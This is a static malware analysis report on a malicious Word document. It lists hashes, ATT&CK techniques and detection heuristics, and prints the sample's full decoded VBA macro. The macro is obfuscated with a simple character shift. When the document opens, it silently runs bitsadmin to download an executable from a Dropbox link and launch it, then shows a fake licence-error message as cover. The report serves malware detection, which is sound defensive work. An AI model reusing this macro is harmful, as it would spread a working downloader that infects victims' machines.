Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e7f4795e3e1cbae4…

MALICIOUS

Office (OLE)

109.0 KB Created: 2017-05-09 08:23:00 First seen: 2018-02-07
MD5: deb2b53c2f16c9bbc39fc9555ca2bea7 SHA-1: fa0ed072a3144bdc27d5555ef7b668035700c928 SHA-256: e7f4795e3e1cbae4d195faf378cba61abe596580e410047a4c603e2357c933b5
202 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains a VBA macro with an AutoOpen function, which is a common technique for executing malicious code upon opening a document. The macro uses a custom obfuscation function 'Oszkdpfeozmebpuzjy' to decode strings, likely containing commands or URLs. The document body explicitly instructs the user to 'Enable editing' and 'Enable Content', indicating a social engineering lure to bypass security measures. The critical heuristic firing for 'OLE_VBA_SHELL' confirms the execution of external commands.

Heuristics 7

  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
    • http://ns.adobe.com/tiff/1.0/In document text (OLE body)
    • http://ns.adobe.com/exif/1.0/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/rights/In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2216 bytes
SHA-256: 0e9ec2a30538d72b68056256901342ec3835cae31568da64b20157c42fc08e92
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"

Private Function Oszkdpfeozmebpuzjy(ByVal Oyuwuxkrusybsf As String, ByVal Khsblucccx As Long) As String
Dim Krssusiumsktij, Dsbiapzxobzamnlwyulsd, Mzohzmgpnleh As Long
Krssusiumsktij = Len(Oyuwuxkrusybsf)
Dim Alydklboaibeupwnxxyberpg As String
Dim Ppvscjctwturyporwdm() As Long
ReDim Ppvscjctwturyporwdm(1 To Krssusiumsktij)
For Mzohzmgpnleh = 1 To Krssusiumsktij
Dsbiapzxobzamnlwyulsd = Asc(Mid(Oyuwuxkrusybsf, Mzohzmgpnleh, 1))
If Dsbiapzxobzamnlwyulsd = 32 Then
Ppvscjctwturyporwdm(Mzohzmgpnleh) = Dsbiapzxobzamnlwyulsd
Else:
Dsbiapzxobzamnlwyulsd = Dsbiapzxobzamnlwyulsd - Khsblucccx
Ppvscjctwturyporwdm(Mzohzmgpnleh) = Dsbiapzxobzamnlwyulsd
End If
Alydklboaibeupwnxxyberpg = Alydklboaibeupwnxxyberpg & Chr(Ppvscjctwturyporwdm(Mzohzmgpnleh))
Next
Oszkdpfeozmebpuzjy = Alydklboaibeupwnxxyberpg
End Function

Sub AutoOpen()
Dim Ysvinwgjhpnkgpfmxy, Uddmwnjynyeudwtep As String
    Ysvinwgjhpnkgpfmxy = Ysvinwgjhpnkgpfmxy & Kriytvky("fpg1h{h 2f %z") & Kriytvky("dlwiru 2w 8 ") & Kriytvky("\NHUT ") & Kriytvky(") elwvdgplq 2wudqvi") & Kriytvky("hu XNHI 2grzqordg 2sulrulw| q") & Kriytvky("rupdo kwwsv=22zzz1gurser{1")
    Ysvinwgjhpnkgpfmxy = Ysvinwgjhpnkgpfmxy & Kriytvky("frp2v") & Kriytvky("2pxt}7hul3|vfyjy24klvxtxxp") & Kriytvky("h") & Kriytvky("vxwhkdpqrtd1h{hBgo@4 (dssgdwd(") & Kriytvky("_nn}rsl1h{h )vwduw (d") & Kriytvky("ssgdwd(_nn}rsl1h{h%")

    Uddmwnjynyeudwtep = Uddmwnjynyeudwtep & Kriytvky("Hu") & Kriytvky("uru 4<;:7= \r") & Kriytvky("x pxvw kdyh Riilfh Surihvv") & Kriytvky("lrqdo Hglwlrq") & Kriytvky(" wr uhdg wklv frqwhqw/ sohd") & Kriytvky("vh xsjudgh |rx") & Kriytvky("u olfhqfh1 Ylvlw z") & Kriytvky("zz1plfurvriw1frp iru ") & Kriytvky("khos")
    
Shell Ysvinwgjhpnkgpfmxy, vbHide
MsgBox Uddmwnjynyeudwtep
End Sub

Private Function Kriytvky(Gnijuiwetkkendyg As String)
  Kriytvky = Oszkdpfeozmebpuzjy(Gnijuiwetkkendyg, 3)
End Function

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